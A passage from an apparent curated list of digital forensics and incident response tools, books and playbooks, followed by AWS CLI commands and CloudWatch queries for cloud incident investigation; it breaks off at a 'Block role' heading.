* [Limacharlie](https://www.limacharlie.io/) - Endpoint security platform composed of a collection of small projects all working together that gives you a cross-platform (Windows, OSX, Linux, Android and iOS) low-level environment for managing and pushing additional modules into memory to extend its functionality.
* [MozDef](https://github.com/mozilla/MozDef) - Automates the security incident handling process and facilitate the real-time activities of incident handlers.
* [nightHawk](https://github.com/biggiesmallsAG/nightHawkResponse) - Application built for asynchronus forensic data presentation using ElasticSearch as the backend. It's designed to ingest Redline collections.
* [Open Computer Forensics Architecture](http://sourceforge.net/projects/ocfa/) - Another popular distributed open-source computer forensics framework. This framework was built on Linux platform and uses postgreSQL database for storing data.
* [osquery](https://osquery.io/) - Easily ask questions about your Linux and macOS infrastructure using a SQL-like query language; the provided *incident-response pack* helps you detect and respond to breaches.
* [Redline](https://www.fireeye.com/services/freeware/redline.html) - Provides host investigative capabilities to users to find signs of malicious activity through memory and file analysis, and the development of a threat assessment profile.
* [The Sleuth Kit & Autopsy](http://www.sleuthkit.org/) - Unix and Windows based tool which helps in forensic analysis of computers. It comes with various tools which helps in digital forensics. These tools help in analyzing disk images, performing in-depth analysis of file systems, and various other things.
* [TheHive](https://thehive-project.org/) - Scalable 3-in-1 open source and free solution designed to make life easier for SOCs, CSIRTs, CERTs and any information security practitioner dealing with security incidents that need to be investigated and acted upon swiftly.
* [Velociraptor](https://github.com/Velocidex/velociraptor) - Endpoint visibility and collection tool
* [X-Ways Forensics](http://www.x-ways.net/forensics/) - Forensics tool for Disk cloning and imaging. It can be used to find deleted files and disk analysis.
* [Zentral](https://github.com/zentralopensource/zentral) - Combines osquery's powerful endpoint inventory features with a flexible notification and action framework. This enables one to identify and react to changes on OS X and Linux clients.

  #### Books
* [Applied Incident Response](https://www.amazon.com/Applied-Incident-Response-Steve-Anson/dp/1119560268/) - Steve Anson's book on Incident Response.
* [Crafting the InfoSec Playbook: Security Monitoring and Incident Response Master Plan](https://www.amazon.com/Crafting-InfoSec-Playbook-Security-Monitoring/dp/1491949406) - by Jeff Bollinger, Brandon Enright and Matthew Valites.
* [Digital Forensics and Incident Response: Incident response techniques and procedures to respond to modern cyber threats](https://www.amazon.com/Digital-Forensics-Incident-Response-techniques/dp/183864900X) - by Gerard Johansen.
* [Introduction to DFIR](https://medium.com/@sroberts/introduction-to-dfir-d35d5de4c180/) - By Scott J. Roberts.
* [Incident Response & Computer Forensics, Third Edition](https://www.amazon.com/Incident-Response-Computer-Forensics-Third/dp/0071798684/) - The definitive guide to incident response.
* [Intelligence-Driven Incident Response](https://www.amazon.com/Intelligence-Driven-Incident-Response-Outwitting-Adversary-ebook-dp-B074ZRN5T7/dp/B074ZRN5T7) - By Scott J. Roberts, Rebekah Brown.
* [Operator Handbook: Red Team + OSINT + Blue Team Reference](https://www.amazon.com/Operator-Handbook-Team-OSINT-Reference/dp/B085RR67H5/) - Great reference for incident responders.
* [The Practice of Network Security Monitoring: Understanding Incident Detection and Response](https://www.amazon.com/gp/product/1593275099) - Richard Bejtlich's book on IR.

  #### Communities
* [Digital Forensics Discord Server](https://discordapp.com/invite/JUqe9Ek) - Community of 8,000+ working professionals from Law Enforcement, Private Sector, and Forensic Vendors. Additionally, plenty of students and hobbyists! Guide [here](https://aboutdfir.com/a-beginners-guide-to-the-digital-forensics-discord-server/).
* [SANS DFIR mailing list](https://lists.sans.org/mailman/listinfo/dfir) - Mailing list by SANS for DFIR.
* [Slack DFIR channel](https://dfircommunity.slack.com/) - Slack DFIR Communitiy channel - [Signup here](https://start.paloaltonetworks.com/join-our-slack-community).

  #### Disk Image Creation Tools
* [AccessData FTK Imager](http://accessdata.com/product-download/?%2Fsupport%2Fadownloads=1#FTKImager) - Forensics tool whose main purpose is to preview recoverable data from a disk of any kind. FTK Imager can also acquire live memory and paging file on 32bit and 64bit systems.
* [Bitscout](https://github.com/vitaly-kamluk/bitscout) - Bitscout by Vitaly Kamluk helps you build your fully-trusted customizable LiveCD/LiveUSB image to be used for remote digital forensics (or perhaps any other task of your choice). It is meant to be transparent and monitorable by the owner of the system, forensically sound, customizable and compact.
* [GetData Forensic Imager](http://www.forensicimager.com/) - Windows based program that will acquire, convert, or verify a forensic image in one of the following common forensic file formats.
* [Guymager](http://guymager.sourceforge.net/) - Free forensic imager for media acquisition on Linux.
* [Magnet ACQUIRE](https://www.magnetforensics.com/magnet-acquire/) - ACQUIRE by Magnet Forensics allows various types of disk acquisitions to be performed on Windows, Linux, and OS X as well as mobile operating systems.

  #### Evidence Collection
* [artifactcollector](https://github.com/forensicanalysis/artifactcollector) - The artifactcollector project provides a software that collects forensic artifacts on systems.
* [bulk\_extractor](https://github.com/simsong/bulk_extractor) - Computer forensics tool that scans a disk image, a file, or a directory of files and extracts useful information without parsing the file system or file system structures. Because of ignoring the file system structure, the program distinguishes itself in terms of speed and thoroughness.
* [Cold Disk Quick Response](https://github.com/rough007/CDQR) - Streamlined list of parsers to quickly analyze a forensic image file (`dd`, E01, `.vmdk`, etc) and output nine reports.
* [CyLR](https://github.com/orlikoski/CyLR) - The CyLR tool collects forensic artifacts from hosts with NTFS file systems quickly, securely and minimizes impact to the host.
* [Forensic Artifacts](https://github.com/ForensicArtifacts/artifacts) - Digital Forensics Artifact Repository
* [ir-rescue](https://github.com/diogo-fernan/ir-rescue) - Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.
* [Live Response Collection](https://www.brimorlabs.com/tools/) - Automated tool that collects volatile data from Windows, OSX, and \*nix based operating systems.
* [Margarita Shotgun](https://github.com/ThreatResponse/margaritashotgun) - Command line utility (that works with or without Amazon EC2 instances) to parallelize remote memory acquisition.
* [UAC](https://github.com/tclahr/uac) - UAC (Unix-like Artifacts Collector) is a Live Response collection script for Incident Response that makes use of native binaries and tools to automate the collection of AIX, Android, ESXi, FreeBSD, Linux, macOS, NetBSD, NetScaler, OpenBSD and Solaris systems artifacts.

  #### Incident Management
* [Catalyst](https://github.com/SecurityBrewery/catalyst) - A free SOAR system that helps to automate alert handling and incident response processes.
* [CyberCPR](https://www.cybercpr.com/) - Community and commercial incident management tool with Need-to-Know built in to support GDPR compliance while handling sensitive incidents.
* [Cyphon](https://medevel.com/cyphon/) - Cyphon eliminates the headaches of incident management by streamlining a multitude of related tasks through a single platform. It receives, processes and triages events to provide an all-encompassing solution for your analytic workflow — aggregating data, bundling and prioritizing alerts, and empowering analysts to investigate and document incidents.
* [CORTEX XSOAR](https://www.paloaltonetworks.com/cortex/xsoar) - Paloalto security orchestration, automation and response platform with full Incident lifecycle management and many integrations to enhance automations.
* [DFTimewolf](https://github.com/log2timeline/dftimewolf) - A framework for orchestrating forensic collection, processing and data export.
* [DFIRTrack](https://github.com/dfirtrack/dfirtrack) - Incident Response tracking application handling one or more incidents via cases and tasks with a lot of affected systems and artifacts.
* [Fast Incident Response (FIR)](https://github.com/certsocietegenerale/FIR/) - Cybersecurity incident management platform designed with agility and speed in mind. It allows for easy creation, tracking, and reporting of cybersecurity incidents and is useful for CSIRTs, CERTs and SOCs alike.
* [RTIR](https://www.bestpractical.com/rtir/) - Request Tracker for Incident Response (RTIR) is the premier open source incident handling system targeted for computer security teams. We worked with over a dozen CERT and CSIRT teams around the world to help you handle the ever-increasing volume of incident reports. RTIR builds on all the features of Request Tracker.
* [Sandia Cyber Omni Tracker (SCOT)](https://github.com/sandialabs/scot) - Incident Response collaboration and knowledge capture tool focused on flexibility and ease of use. Our goal is to add value to the incident response process without burdening the user.
* [Shuffle](https://github.com/frikky/Shuffle) - A general purpose security automation platform focused on accessibility.
* [threat\_note](https://github.com/defpoint/threat_note) - Lightweight investigation notebook that allows security researchers the ability to register and retrieve indicators related to their research.

  #### Knowledge Bases
* [Digital Forensics Artifact Knowledge Base](https://github.com/ForensicArtifacts/artifacts-kb) - Digital Forensics Artifact Knowledge Base
* [Windows Events Attack Samples](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - Windows Events Attack Samples
* [Windows Registry Knowledge Base](https://github.com/libyal/winreg-kb) - Windows Registry Knowledge Base

  #### Linux Distributions
* [The Appliance for Digital Investigation and Analysis (ADIA)](https://forensics.cert.org/#ADIA) - VMware-based appliance used for digital investigation and acquisition and is built entirely from public domain software. Among the tools contained in ADIA are Autopsy, the Sleuth Kit, the Digital Forensics Framework, log2timeline, Xplico, and Wireshark. Most of the system maintenance uses Webmin. It is designed for small-to-medium sized digital investigations and acquisitions. The appliance runs under Linux, Windows, and Mac OS. Both i386 (32-bit) and x86\_64 (64-bit) versions are available.
* [Computer Aided Investigative Environment (CAINE)](http://www.caine-live.net/index.html) - Contains numerous tools that help investigators during their analysis, including forensic evidence collection.
* [CCF-VM](https://github.com/rough007/CCF-VM) - CyLR CDQR Forensics Virtual Machine (CCF-VM): An all-in-one solution to parsing collected data, making it easily searchable with built-in common searches, enable searching of single and multiple hosts simultaneously.
* [Digital Evidence & Forensics Toolkit (DEFT)](http://www.deftlinux.net/) - Linux distribution made for computer forensic evidence collection. It comes bundled with the Digital Advanced Response Toolkit (DART) for Windows. A light version of DEFT, called DEFT Zero, is also available, which is focused primarily on forensically sound evidence collection.
* [NST - Network Security Toolkit](https://sourceforge.net/projects/nst/files/latest/download?source=files) - Linux distribution that includes a vast collection of best-of-breed open source network security applications useful to the network security professional.
* [PALADIN](https://sumuri.com/software/paladin/) - Modified Linux distribution to perform various forensics task in a forensically sound manner. It comes with many open source forensics tools included.
* [Security Onion](https://github.com/Security-Onion-Solutions/security-onion) - Special Linux distro aimed at network security monitoring featuring advanced analysis tools.
* [SANS Investigative Forensic Toolkit (SIFT) Workstation](http://digital-forensics.sans.org/community/downloads) - Demonstrates that advanced incident response capabilities and deep dive digital forensic techniques to intrusions can be accomplished using cutting-edge open-source tools that are freely available and frequently updated.

  #### Linux Evidence Collection
* [FastIR Collector Linux](https://github.com/SekoiaLab/Fastir_Collector_Linux) - FastIR for Linux collects different artifacts on live Linux and records the results in CSV files.

  #### Log Analysis Tools
* [AppCompatProcessor](https://github.com/mbevilacqua/appcompatprocessor) - AppCompatProcessor has been designed to extract additional value from enterprise-wide AppCompat / AmCache data beyond the classic stacking and grepping techniques.
* [APT Hunter](https://github.com/ahmedkhlief/APT-Hunter) - APT-Hunter is Threat Hunting tool for windows event logs.
* [Chainsaw](https://github.com/countercept/chainsaw) - Chainsaw provides a powerful ‘first-response’ capability to quickly identify threats within Windows event logs.
* [Event Log Explorer](https://eventlogxp.com/) - Tool developed to quickly analyze log files and other data.
* [Event Log Observer](https://lizard-labs.com/event_log_observer.aspx) - View, analyze and monitor events recorded in Microsoft Windows event logs with this GUI tool.
* [Hayabusa](https://github.com/Yamato-Security/hayabusa) - Hayabusa is a Windows event log fast forensics timeline generator and threat hunting tool created by the Yamato Security group in Japan.
* [Kaspersky CyberTrace](https://support.kaspersky.com/13850) - Threat intelligence fusion and analysis tool that integrates threat data feeds with SIEM solutions. Users can immediately leverage threat intelligence for security monitoring and incident report (IR) activities in the workflow of their existing security operations.
* [Log Parser Lizard](https://lizard-labs.com/log_parser_lizard.aspx) - Execute SQL queries against structured log data: server logs, Windows Events, file system, Active Directory, log4net logs, comma/tab separated text, XML or JSON files. Also provides a GUI to Microsoft LogParser 2.2 with powerful UI elements: syntax editor, data grid, chart, pivot table, dashboard, query manager and more.
* [Lorg](https://github.com/jensvoid/lorg) - Tool for advanced HTTPD logfile security analysis and forensics.
* [Logdissect](https://github.com/dogoncouch/logdissect) - CLI utility and Python API for analyzing log files and other data.
* [LogonTracer](https://github.com/JPCERTCC/LogonTracer) - Tool to investigate malicious Windows logon by visualizing and analyzing Windows event log.
* [Sigma](https://github.com/SigmaHQ/sigma) - Generic signature format for SIEM systems already containing an extensive ruleset.
* [StreamAlert](https://github.com/airbnb/streamalert) - Serverless, real-time log data analysis framework, capable of ingesting custom data sources and triggering alerts using user-defined logic.
* [SysmonSearch](https://github.com/JPCERTCC/SysmonSearch) - SysmonSearch makes Windows event log analysis more effective and less time consuming by aggregation of event logs.
* [WELA](https://github.com/Yamato-Security/WELA) - Windows Event Log Analyzer aims to be the Swiss Army knife for Windows event logs.
* [Zircolite](https://github.com/wagga40/Zircolite) - A standalone and fast SIGMA-based detection tool for EVTX or JSON.

  #### Memory Analysis Tools
* [AVML](https://github.com/microsoft/avml) - A portable volatile memory acquisition tool for Linux.
* [Evolve](https://github.com/JamesHabben/evolve) - Web interface for the Volatility Memory Forensics Framework.
* [inVtero.net](https://github.com/ShaneK2/inVtero.net) - Advanced memory analysis for Windows x64 with nested hypervisor support.
* [LiME](https://github.com/504ensicsLabs/LiME) - Loadable Kernel Module (LKM), which allows the acquisition of volatile memory from Linux and Linux-based devices, formerly called DMD.
* [MalConfScan](https://github.com/JPCERTCC/MalConfScan) - MalConfScan is a Volatility plugin extracts configuration data of known malware. Volatility is an open-source memory forensics framework for incident response and malware analysis. This tool searches for malware in memory images and dumps configuration data. In addition, this tool has a function to list strings to which malicious code refers.
* [Memoryze](https://www.fireeye.com/services/freeware/memoryze.html) - Free memory forensic software that helps incident responders find evil in live memory. Memoryze can acquire and/or analyze memory images, and on live systems, can include the paging file in its analysis.
* [Memoryze for Mac](https://www.fireeye.com/services/freeware/memoryze.html) - Memoryze for Mac is Memoryze but then for Macs. A lower number of features, however.
* [Orochi](https://github.com/LDO-CERT/orochi) - Orochi is an open source framework for collaborative forensic memory dump analysis.
* [Rekall](http://www.rekall-forensic.com/) - Open source tool (and library) for the extraction of digital artifacts from volatile memory (RAM) samples.
* [Responder PRO](http://www.countertack.com/responder-pro) - Responder PRO is the industry standard physical memory and automated malware analysis solution.
* [Volatility](https://github.com/volatilityfoundation/volatility) - Advanced memory forensics framework.
* [Volatility 3](https://github.com/volatilityfoundation/volatility3) - The volatile memory extraction framework (successor of Volatility)
* [VolatilityBot](https://github.com/mkorman90/VolatilityBot) - Automation tool for researchers cuts all the guesswork and manual tasks out of the binary extraction phase, or to help the investigator in the first steps of performing a memory analysis investigation.
* [VolDiff](https://github.com/aim4r/VolDiff) - Malware Memory Footprint Analysis based on Volatility.
* [WindowsSCOPE](http://www.windowsscope.com/windowsscope-cyber-forensics/) - Memory forensics and reverse engineering tool used for analyzing volatile memory offering the capability of analyzing the Windows kernel, drivers, DLLs, and virtual and physical memory.

  #### Memory Imaging Tools
* [Belkasoft Live RAM Capturer](http://belkasoft.com/ram-capturer) - Tiny free forensic tool to reliably extract the entire content of the computer’s volatile memory – even if protected by an active anti-debugging or anti-dumping system.
* [Linux Memory Grabber](https://github.com/halpomeranz/lmg/) - Script for dumping Linux memory and creating Volatility profiles.
* [Magnet RAM Capture](https://www.magnetforensics.com/free-tool-magnet-ram-capture/) - Free imaging tool designed to capture the physical memory of a suspect’s computer. Supports recent versions of Windows.
* [OSForensics](http://www.osforensics.com/) - Tool to acquire live memory on 32-bit and 64-bit systems. A dump of an individual process’s memory space or physical memory dump can be done.

  #### OSX Evidence Collection
* [Knockknock](https://objective-see.com/products/knockknock.html) - Displays persistent items(scripts, commands, binaries, etc.) that are set to execute automatically on OSX.
* [macOS Artifact Parsing Tool (mac\_apt)](https://github.com/ydkhatri/mac_apt) - Plugin based forensics framework for quick mac triage that works on live machines, disk images or individual artifact files.
* [OSX Auditor](https://github.com/jipegit/OSXAuditor) - Free Mac OS X computer forensics tool.
* [OSX Collector](https://github.com/yelp/osxcollector) - OSX Auditor offshoot for live response.
* [The ESF Playground](https://themittenmac.com/the-esf-playground/) - A tool to view the events in Apple Endpoint Security Framework (ESF) in real time.

  #### Other Lists
* [Awesome Event IDs](https://github.com/stuhli/awesome-event-ids) - Collection of Event ID resources useful for Digital Forensics and Incident Response.
* [Awesome Forensics](https://github.com/cugu/awesome-forensics) - A curated list of awesome forensic analysis tools and resources.
* [Didier Stevens Suite](https://github.com/DidierStevens/DidierStevensSuite) - Tool collection
* [Eric Zimmerman Tools](https://ericzimmerman.github.io/) - An updated list of forensic tools created by Eric Zimmerman, an instructor for SANS institute.
* [List of various Security APIs](https://github.com/deralexxx/security-apis) - Collective list of public JSON APIs for use in security.

  #### Other Tools
* [Cortex](https://thehive-project.org/) - Cortex allows you to analyze observables such as IP and email addresses, URLs, domain names, files or hashes one by one or in bulk mode using a Web interface. Analysts can also automate these operations using its REST API.
* [Crits](https://crits.github.io/) - Web-based tool which combines an analytic engine with a cyber threat database.
* [Diffy](https://github.com/Netflix-Skunkworks/diffy) - DFIR tool developed by Netflix's SIRT that allows an investigator to quickly scope a compromise across cloud instances (Linux instances on AWS, currently) during an incident and efficiently triaging those instances for followup actions by showing differences against a baseline.
* [domfind](https://github.com/diogo-fernan/domfind) - Python DNS crawler for finding identical domain names under different TLDs.
* [Fileintel](https://github.com/keithjjones/fileintel) - Pull intelligence per file hash.
* [HELK](https://github.com/Cyb3rWard0g/HELK) - Threat Hunting platform.
* [Hindsight](https://github.com/obsidianforensics/hindsight) - Internet history forensics for Google Chrome/Chromium.
* [Hostintel](https://github.com/keithjjones/hostintel) - Pull intelligence per host.
* [imagemounter](https://github.com/ralphje/imagemounter) - Command line utility and Python package to ease the (un)mounting of forensic disk images.
* [Kansa](https://github.com/davehull/Kansa/) - Modular incident response framework in PowerShell.
* [MFT Browser](https://github.com/kacos2000/MFT_Browser) - MFT directory tree reconstruction & record info.
* [Munin](https://github.com/Neo23x0/munin) - Online hash checker for VirusTotal and other services.
* [PowerSponse](https://github.com/swisscom/PowerSponse) - PowerSponse is a PowerShell module focused on targeted containment and remediation during security incident response.
* [PyaraScanner](https://github.com/nogoodconfig/pyarascanner) - Very simple multi-threaded many-rules to many-files YARA scanning Python script for malware zoos and IR.
* [rastrea2r](https://github.com/rastrea2r/rastrea2r) - Allows one to scan disks and memory for IOCs using YARA on Windows, Linux and OS X.
* [RaQet](https://raqet.github.io/) - Unconventional remote acquisition and triaging tool that allows triage a disk of a remote computer (client) that is restarted with a purposely built forensic operating system.
* [Raccine](https://github.com/Neo23x0/Raccine) - A Simple Ransomware Protection
* [Stalk](https://www.percona.com/doc/percona-toolkit/2.2/pt-stalk.html) - Collect forensic data about MySQL when problems occur.
* [Scout2](https://nccgroup.github.io/Scout2/) - Security tool that lets Amazon Web Services administrators assess their environment's security posture.
* [Stenographer](https://github.com/google/stenographer) - Packet capture solution which aims to quickly spool all packets to disk, then provide simple, fast access to subsets of those packets. It stores as much history as it possible, managing disk usage, and deleting when disk limits are hit. It's ideal for capturing the traffic just before and during an incident, without the need explicit need to store all of the network traffic.
* [sqhunter](https://github.com/0x4d31/sqhunter) - Threat hunter based on osquery and Salt Open (SaltStack) that can issue ad-hoc or distributed queries without the need for osquery's tls plugin. sqhunter allows you to query open network sockets and check them against threat intelligence sources.
* [sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - Sysmon configuration file template with default high-quality event tracing
* [sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of sysmon configuration modules
* [traceroute-circl](https://github.com/CIRCL/traceroute-circl) - Extended traceroute to support the activities of CSIRT (or CERT) operators. Usually CSIRT team have to handle incidents based on IP addresses received. Created by Computer Emergency Response Center Luxembourg.
* [X-Ray 2.0](https://www.raymond.cc/blog/xray/) - Windows utility (poorly maintained or no longer maintained) to submit virus samples to AV vendors.

  #### Playbooks
* [AWS Incident Response Runbook Samples](https://github.com/aws-samples/aws-incident-response-runbooks/tree/0d9a1c0f7ad68fb2c1b2d86be8914f2069492e21) - AWS IR Runbook Samples meant to be customized per each entity using them. The three samples are: "DoS or DDoS attack", "credential leakage", and "unintended access to an Amazon S3 bucket".
* [Counteractive Playbooks](https://github.com/counteractive/incident-response-plan-template/tree/master/playbooks) - Counteractive PLaybooks collection.
* [GuardSIght Playbook Battle Cards](https://github.com/guardsight/gsvsoc_cirt-playbook-battle-cards) - A collection of Cyber Incident Response Playbook Battle Cards
* [IRM](https://github.com/certsocietegenerale/IRM) - Incident Response Methodologies by CERT Societe Generale.
* [IR Workflow Gallery](https://www.incidentresponse.com/playbooks/) - Different generic incident response workflows, e.g. for malware outbreak, data theft, unauthorized access,... Every workflow consists of seven steps: prepare, detect, analyze, contain, eradicate, recover, post-incident handling. The workflows are online available or for download.
* [PagerDuty Incident Response Documentation](https://response.pagerduty.com/) - Documents that describe parts of the PagerDuty Incident Response process. It provides information not only on preparing for an incident, but also what to do during and after. Source is available on [GitHub](https://github.com/PagerDuty/incident-response-docs).
* [Phantom Community Playbooks](https://github.com/phantomcyber/playbooks) - Phantom Community Playbooks for Splunk but also customizable for other use.
* [ThreatHunter-Playbook](https://github.com/OTRF/ThreatHunter-Playbook) - Playbook to aid the development of techniques and hypothesis for hunting campaigns.

  #### Process Dump Tools
* [Microsoft ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) - Dumps any running Win32 processes memory image on the fly.
* [PMDump](http://www.ntsecurity.nu/toolbox/pmdump/) - Tool that lets you dump the memory contents of a process to a file without stopping the process.

  #### Sandboxing/Reversing Tools
* [AMAaaS](https://amaaas.com/index.php/AMAaaS/dashboard) - Android Malware Analysis as a Service, executed in a native Android environment.
* [Any Run](https://app.any.run/) - Interactive online malware analysis service for dynamic and static research of most types of threats using any environment.
* [CAPEv2](https://github.com/kevoreilly/CAPEv2) - Malware Configuration And Payload Extraction.
* [Cuckoo](https://github.com/cuckoosandbox/cuckoo) - Open Source Highly configurable sandboxing tool.
* [Cuckoo-modified](https://github.com/spender-sandbox/cuckoo-modified) - Heavily modified Cuckoo fork developed by community.
* [Cuckoo-modified-api](https://github.com/keithjjones/cuckoo-modified-api) - Python library to control a cuckoo-modified sandbox.
* [Cutter](https://github.com/radareorg/cutter) - Reverse engineering platform powered by Radare2.
* [Ghidra](https://github.com/NationalSecurityAgency/ghidra) - Software Reverse Engineering Framework.
* [Hybrid-Analysis](https://www.hybrid-analysis.com/) - Free powerful online sandbox by CrowdStrike.
* [Intezer](https://analyze.intezer.com/#/) - Intezer Analyze dives into Windows binaries to detect micro-code similarities to known threats, in order to provide accurate yet easy-to-understand results.
* [Joe Sandbox (Community)](https://www.joesandbox.com/) - Joe Sandbox detects and analyzes potential malicious files and URLs on Windows, Android, Mac OS, Linux, and iOS for suspicious activities; providing comprehensive and detailed analysis reports.
* [Mastiff](https://github.com/KoreLogicSecurity/mastiff) - Static analysis framework that automates the process of extracting key characteristics from a number of different file formats.
* [Metadefender Cloud](https://www.metadefender.com/) - Free threat intelligence platform providing multiscanning, data sanitization and vulnerability assessment of files.
* [Radare2](https://github.com/radareorg/radare2) - Reverse engineering framework and command-line toolset.
* [Reverse.IT](https://www.reverse.it/) - Alternative domain for the Hybrid-Analysis tool provided by CrowdStrike.
* [Rizin](https://github.com/rizinorg/rizin) - UNIX-like reverse engineering framework and command-line toolset
* [StringSifter](https://github.com/fireeye/stringsifter) - A machine learning tool that ranks strings based on their relevance for malware analysis.
* [Valkyrie Comodo](https://valkyrie.comodo.com/) - Valkyrie uses run-time behavior and hundreds of features from a file to perform analysis.
* [Viper](https://github.com/viper-framework/viper) - Python based binary analysis and management framework, that works well with Cuckoo and YARA.
* [Virustotal](https://www.virustotal.com/) - Free online service that analyzes files and URLs enabling the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and website scanners.
* [Visualize\_Logs](https://github.com/keithjjones/visualize_logs) - Open source visualization library and command line tools for logs (Cuckoo, Procmon, more to come).
* [Yomi](https://yomi.yoroi.company/) - Free MultiSandbox managed and hosted by Yoroi.

  #### Scanner Tools
* [Fenrir](https://github.com/Neo23x0/Fenrir) - Simple IOC scanner. It allows scanning any Linux/Unix/OSX system for IOCs in plain bash. Created by the creators of THOR and LOKI.
* [LOKI](https://github.com/Neo23x0/Loki) - Free IR scanner for scanning endpoint with yara rules and other indicators(IOCs).
* [Spyre](https://github.com/spyre-project/spyre) - Simple YARA-based IOC scanner written in Go

  #### Timeline Tools
* [Aurora Incident Response](https://github.com/cyb3rfox/Aurora-Incident-Response) - Platform developed to build easily a detailed timeline of an incident.
* [Highlighter](https://www.fireeye.com/services/freeware/highlighter.html) - Free Tool available from Fire/Mandiant that will depict log/text file that can highlight areas on the graphic, that corresponded to a key word or phrase. Good for time lining an infection and what was done post compromise.
* [Morgue](https://github.com/etsy/morgue) - PHP Web app by Etsy for managing postmortems.
* [Plaso](https://github.com/log2timeline/plaso) - a Python-based backend engine for the tool log2timeline.
* [Timesketch](https://github.com/google/timesketch) - Open source tool for collaborative forensic timeline analysis.

  #### Videos
* [The Future of Incident Response](https://www.youtube.com/watch?v=bDcx4UNpKNc) - Presented by Bruce Schneier at OWASP AppSecUSA 2015.

  #### Windows Evidence Collection
* [AChoir](https://github.com/OMENScan/AChoir) - Framework/scripting tool to standardize and simplify the process of scripting live acquisition utilities for Windows.
* [Crowd Response](http://www.crowdstrike.com/community-tools/) - Lightweight Windows console application designed to aid in the gathering of system information for incident response and security engagements. It features numerous modules and output formats.
* [DFIR ORC](https://dfir-orc.github.io/) - DFIR ORC is a collection of specialized tools dedicated to reliably parse and collect critical artifacts such as the MFT, registry hives or event logs. DFIR ORC collects data, but does not analyze it: it is not meant to triage machines. It provides a forensically relevant snapshot of machines running Microsoft Windows. The code can be found on [GitHub](https://github.com/DFIR-ORC/dfir-orc).
* [FastIR Collector](https://github.com/SekoiaLab/Fastir_Collector) - Tool that collects different artifacts on live Windows systems and records the results in csv files. With the analyses of these artifacts, an early compromise can be detected.
* [Fibratus](https://github.com/rabbitstack/fibratus) - Tool for exploration and tracing of the Windows kernel.
* [Hoarder](https://github.com/muteb/Hoarder) - Collecting the most valuable artifacts for forensics or incident response investigations.
* [IREC](https://binalyze.com/products/irec-free/) - All-in-one IR Evidence Collector which captures RAM Image, $MFT, EventLogs, WMI Scripts, Registry Hives, System Restore Points and much more. It is FREE, lightning fast and easy to use.
* [Invoke-LiveResponse](https://github.com/mgreen27/Invoke-LiveResponse) - Invoke-LiveResponse is a live response tool for targeted collection.
* [IOC Finder](https://www.fireeye.com/services/freeware/ioc-finder.html) - Free tool from Mandiant for collecting host system data and reporting the presence of Indicators of Compromise (IOCs). Support for Windows only. No longer maintained. Only fully supported up to Windows 7 / Windows Server 2008 R2.
* [IRTriage](https://github.com/AJMartel/IRTriage) - Incident Response Triage - Windows Evidence Collection for Forensic Analysis.
* [KAPE](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape) - Kroll Artifact Parser and Extractor (KAPE) by Eric Zimmerman. A triage tool that finds the most prevalent digital artifacts and then parses them quickly. Great and thorough when time is of the essence.
* [LOKI](https://github.com/Neo23x0/Loki) - Free IR scanner for scanning endpoint with yara rules and other indicators(IOCs).
* [MEERKAT](https://github.com/TonyPhipps/Meerkat) - PowerShell-based triage and threat hunting for Windows.
* [Panorama](https://github.com/AlmCo/Panorama) - Fast incident overview on live Windows systems.
* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - Live disk forensics platform, using PowerShell.
* [PSRecon](https://github.com/gfoss/PSRecon/) - PSRecon gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team. The data can be pushed to a share, sent over email, or retained locally.
* [RegRipper](https://github.com/keydet89/RegRipper3.0) - Open source tool, written in Perl, for extracting/parsing information (keys, values, data) from the Registry and presenting it for analysis.


# Cli AWS - Incident

List of commonly used AWS CLI

### With EC2 - Network - Log

**List Ec2 ldz**

```
aws ec2 describe-instances --profile aws-tcbs | jq -r '.Reservations[].Instances[] | .InstanceId + " " + .InstanceType + " " + (.Tags[] | select(.Key == "Name").Value)'
```

**List Security GP**

```
aws ec2 describe-security-groups --profile aws-tcbs | jq -r '.SecurityGroups[]|.GroupId+" "+.GroupName'
```

**List subnet vpc-id**

```
aws ec2 describe-subnets--filter Name=vpc-id,Values=<Your_VPC_ID> --profile aws-tcbs | jq -r '.Subnets[]|.SubnetId+" "+.CidrBlock+" "+(.Tags[]|select(.Key=="Name").Value)'
```

**List log Avaiable Region**

```
aws logs describe-log-groups --profile aws-tcbs --region <region>
```

**CP log**

```
aws s3 cp s3://<log_bucket_here>/AWSLogs . --recursive --profile aws-tcbs
```

**Snapshot and create Volume**

```
aws ec2 create-snapshot --volume-id <volume_id> --description "Snapshotcreated"
aws ec2 create-volume --availability-zone ap-southeast-1 --snapshot-id <snapshot_id>
```

**Use coldsnap download snapshot**

Ref : <https://github.com/awslabs/coldsnap>

```
coldsnap --region ap-southeast-1 download <snapshot_id> image.dd
```

**Mount snapshot**

```
aws ec2 attach-volume --volume-id <volume_id> --instance-id <DFIR_instance> --device </dev/sdX>
```

### With IAM Log

Go to the cloudwatch console > select insight > logs > then choose your log groups and set your time constraints. Use the following queries to quickly identify suspicious activity:

#### IAM Logs

* List all IAM access denied attemptsList all IAM user and role creation events filter errorCode like

```
/Unauthorized|Denied|Forbidd
en/ | fields awsRegion,
userIdentity.arn, eventSource,
eventName, sourceIPAddress,
userAgent
```

* List All IAM user and role creation events

```
filter eventName="CreateUser" or eventName = "CreateRole" |
fields
requestParameters.userName,
requestParameters.roleName,
responseElements.user.arn,
responseElements.role.arn,
sourceIPAddress, eventTime,
errorCode
```

* List the actions an access key has performed

```
filter userIdentity.accessKeyId
="<Access_Key>" | fields
awsRegion, eventSource,
eventName, sourceIPAddress,
userAgent
```

* List all "ListBucket" event

```
filter eventName ="ListBuckets"
| fields awsRegion, eventSource,
eventName, sourceIPAddress,
userAgent
```

* List IAM actions performed by a specified IP

```
filter sourceIPAddress =
"192.0.2.1" | fields awsRegion,
userIdentity.arn, eventSource,
eventName, sourceIPAddress,
userAgent
```

* List all roles in json format

```
aws iam list-roles
```

* List all users

```
aws iam list-users --output table --query
'Users[*].UserName'
```

* List all groups

```
aws iam list-groups --output table --query
'Groups[*].GroupName'
```

* Block role

```
